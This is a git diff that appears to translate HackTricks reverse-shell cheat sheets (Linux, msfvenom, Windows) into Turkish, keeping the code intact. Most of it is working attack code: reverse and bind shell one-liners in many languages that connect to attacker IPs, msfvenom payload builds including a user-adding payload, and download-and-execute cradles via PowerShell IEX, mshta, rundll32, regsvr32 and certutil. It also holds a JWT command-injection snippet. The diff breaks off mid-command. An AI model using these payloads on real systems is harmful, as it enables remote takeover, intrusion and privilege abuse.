{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" - ) +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) - response = httpx.get( - url="https://vulnerable.io:3200", - headers={"Authorization": f"Bearer {token}"}, - timeout=timeout, - # ||BURP|| - verify=False, - ) +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) - # Check if the request was successful - response.raise_for_status() +# Check if the request was successful +response.raise_for_status() - return response.text +return response.text ``` - -And then, you can run: - +Ve sonra, şunu çalıştırabilirsiniz: ```shell toboggan -m nix.py -i ``` +Doğrudan etkileşimli bir shell kullanmak için. Burpsuite entegrasyonu için `-b` ekleyebilir ve daha temel bir rce wrapper için `-i`'yi kaldırabilirsiniz. -To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper. +Başka bir olasılık, `IppSec` ileri shell uygulamasını kullanmaktır [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). -Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +Sadece şunları değiştirmeniz gerekiyor: -You just need to modify: +- Zayıf hedefin URL'si +- Yükleminizin ön eki ve son eki (varsa) +- Yüklemin nasıl gönderileceği (başlıklar? veri? ek bilgi?) -- The URL of the vulnerable host -- The prefix and suffix of your payload (if any) -- The way the payload is sent (headers? data? extra info?) - -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). +Sonra, sadece **komutlar gönderebilir** veya hatta **tam bir PTY almak için `upgrade` komutunu kullanabilirsiniz** (boruların yaklaşık 1.3 saniyelik bir gecikme ile okunduğunu ve yazıldığını unutmayın). ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -110,42 +99,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +Bunu kontrol et [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - ## Telnet - ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**Saldırgan** ```bash while true; do nc -l ; done ``` +Komutu göndermek için yazın, enter tuşuna basın ve CTRL+D'ye basın (STDIN'i durdurmak için) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Kurban** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - ## Python - ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -153,23 +132,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - ## Perl - ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby - ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP - ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -181,51 +154,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - ## Java - ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat - ```bash victim> ncat --ssl -c "bash -i 2>&1" attacker> ncat -l --ssl ``` - ## Golang - ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - ## Lua - ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS - ```javascript (function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing +var net = require("net"), +cp = require("child_process"), +sh = cp.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(8080, "10.17.26.64", function(){ +client.pipe(sh.stdin); +sh.stdout.pipe(client); +sh.stderr.pipe(client); +}); +return /a/; // Prevents the Node.js application form crashing })(); @@ -256,19 +219,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +Saldırgan (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +Kurban ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -276,103 +235,84 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Bağlı shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` - -### Reverse shell - +### Ters kabuk ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ## Awk - ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` +## Parmak -## Finger - -**Attacker** - +**Saldırgan** ```bash while true; do nc -l 79; done ``` +Komutu göndermek için yazın, enter tuşuna basın ve CTRL+D'ye basın (STDIN'i durdurmak için) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Kurban** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk - ```bash #!/usr/bin/gawk -f BEGIN { - Port = 8080 - Prompt = "bkd> " +Port = 8080 +Prompt = "bkd> " - Service = "/inet/tcp/" Port "/0/0" - while (1) { - do { - printf Prompt |& Service - Service |& getline cmd - if (cmd) { - while ((cmd |& getline) > 0) - print $0 |& Service - close(cmd) - } - } while (cmd != "exit") - close(Service) - } +Service = "/inet/tcp/" Port "/0/0" +while (1) { +do { +printf Prompt |& Service +Service |& getline cmd +if (cmd) { +while ((cmd |& getline) > 0) +print $0 |& Service +close(cmd) +} +} while (cmd != "exit") +close(Service) +} } ``` - ## Xterm -This will try to connect to your system at port 6001: - +Bu, sisteminize 6001 numaralı portta bağlanmaya çalışacaktır: ```bash xterm -display 10.0.0.1:1 ``` - -To catch the reverse shell you can use (which will listen in port 6001): - +Ters kabuğu yakalamak için şunu kullanabilirsiniz (port 6001'de dinleyecek): ```bash # Authorize host xhost +targetip # Listen Xnest :1 ``` - ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOT: Java ters kabuk Groovy için de çalışır ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## References +## Referanslar - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) diff --git a/src/generic-hacking/reverse-shells/msfvenom.md b/src/generic-hacking/reverse-shells/msfvenom.md index 49444f77b..b333706ce 100644 --- a/src/generic-hacking/reverse-shells/msfvenom.md +++ b/src/generic-hacking/reverse-shells/msfvenom.md @@ -2,38 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- -## Basic msfvenom +## Temel msfvenom `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` - -## Listing +Ayrıca mimariyi belirtmek için `-a` veya `--platform` kullanılabilir. +## Listeleme ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` - -## Common params when creating a shellcode - +## Shellcode Oluştururken Yaygın Parametreler ```bash -b "\x00\x0a\x0d" -f c @@ -41,162 +23,106 @@ msfvenom -l encoders #Encoders EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` - ## **Windows** -### **Reverse Shell** - +### **Ters Shell** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` - ### Bind Shell - ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` - -### Create User - +### Kullanıcı Oluşturma ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` - ### CMD Shell - ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` - -### **Execute Command** - +### **Komut Çalıştır** ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` - -### Encoder - +### Kodlayıcı ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` - -### Embedded inside executable - +### Çalıştırılabilir dosya içine gömülü ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` +## Linux Yükleri -## Linux Payloads - -### Reverse Shell - +### Ters Kabuk ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` - ### Bind Shell - ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` - ### SunOS (Solaris) - ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` +## **MAC Yükleri** -## **MAC Payloads** - -### **Reverse Shell:** - +### **Ters Kabuk:** ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` - ### **Bind Shell** - ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - -## **Web Based Payloads** +## **Web Tabanlı Yükler** ### **PHP** -#### Reverse shel**l** - +#### Ters shel**l** ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` - ### ASP/x -#### Reverse shell - +#### Ters kabuk ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` - ### JSP -#### Reverse shell - +#### Ters kabuk ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` +### SAVAŞ -### WAR - -#### Reverse Shell - +#### Ters Kabuk ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS - ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` - -## **Script Language payloads** +## **Script Dili yükleri** ### **Perl** - ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - ### **Python** - ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` - ### **Bash** - ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` - -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 4bf4f6792..6a138e927 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,37 +4,30 @@ ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +Sayfa [lolbas-project.github.io](https://lolbas-project.github.io/) Windows için, tıpkı [https://gtfobins.github.io/](https://gtfobins.github.io/) linux için olduğu gibi.\ +Açıkça, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **ikili dosyaların** nasıl (kötüye) kullanılabileceğini bilmek faydalıdır, bu da bazı beklenmedik eylemleri gerçekleştirmek için **rastgele kod çalıştırmak** gibi şeyleri içerir. ## NC - ```bash nc.exe -e cmd.exe ``` - ## NCAT -victim - +kurban ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` - -attacker - +saldırgan ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` - ## SBD -**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat. - +**[sbd](https://www.kali.org/tools/sbd/) taşınabilir ve güvenli bir Netcat alternatifidir**. Unix benzeri sistemlerde ve Win32'de çalışır. Güçlü şifreleme, program yürütme, özelleştirilebilir kaynak portları ve sürekli yeniden bağlantı gibi özelliklerle, sbd TCP/IP iletişimi için çok yönlü bir çözüm sunar. Windows kullanıcıları için, Kali Linux dağıtımından sbd.exe sürümü Netcat için güvenilir bir alternatif olarak kullanılabilir. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -46,46 +39,34 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` - ## Python - ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - ## Perl - ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby - ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## Lua - ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +Saldırgan (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +Kurban ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -93,38 +74,30 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## Powershell - ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +Ağ çağrısı gerçekleştiren işlem: **powershell.exe**\ +Diskte yazılan payload: **HAYIR** (_en azından procmon kullanarak bulduğum hiçbir yerde !_ ) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` +Ağ çağrısı gerçekleştiren işlem: **svchost.exe**\ +Diskte yazılan yük: **WebDAV istemcisi yerel önbelleği** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**One liner:** - +**Tek satır:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` - -**Get more info about different Powershell Shells at the end of this document** +**Bu belgenin sonunda farklı Powershell Shell'leri hakkında daha fazla bilgi edinin** ## Mshta -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` @@ -136,26 +109,22 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` - -#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** - +#### **hta-psh ters kabuk örneği (PS arka kapısını indirmek ve çalıştırmak için hta kullanın)** ```xml - + ``` +**Koadic zombi'yi stager hta kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz.** -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - -[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +#### hta örneği +[**Buradan**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -163,11 +132,9 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **mshta - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**Buradan**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -178,14 +145,12 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **Mshta - Metasploit** - ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -196,15 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**Defansör tarafından tespit edildi** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +[**Dll merhaba dünya örneği**](https://github.com/carterjones/hello-world-dll) +- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -212,13 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` - -**Detected by defender** +**Defans tarafından tespit edildi** **Rundll32 - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**Buradan**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -228,22 +189,18 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http ``` - #### **Rundll32 - Metasploit** - ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** - ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -252,11 +209,9 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -264,32 +219,28 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` - -**Detected by defender** +**Defansör tarafından tespit edildi** #### Regsvr32 -sct -[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) - +[**Buradan**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup - ``` - #### **Regsvr32 - Metasploit** - ```bash use multi/script/web_delivery set target 3 @@ -298,50 +249,38 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**Koadic zombisini stager regsvr kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz.** ## Certutil -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - -Download a B64dll, decode it and execute it. +- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +B64dll indirin, kodunu çözün ve çalıştırın. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +B64exe indirin, çözün ve çalıştırın. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**Defansör tarafından tespit edildi** ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object 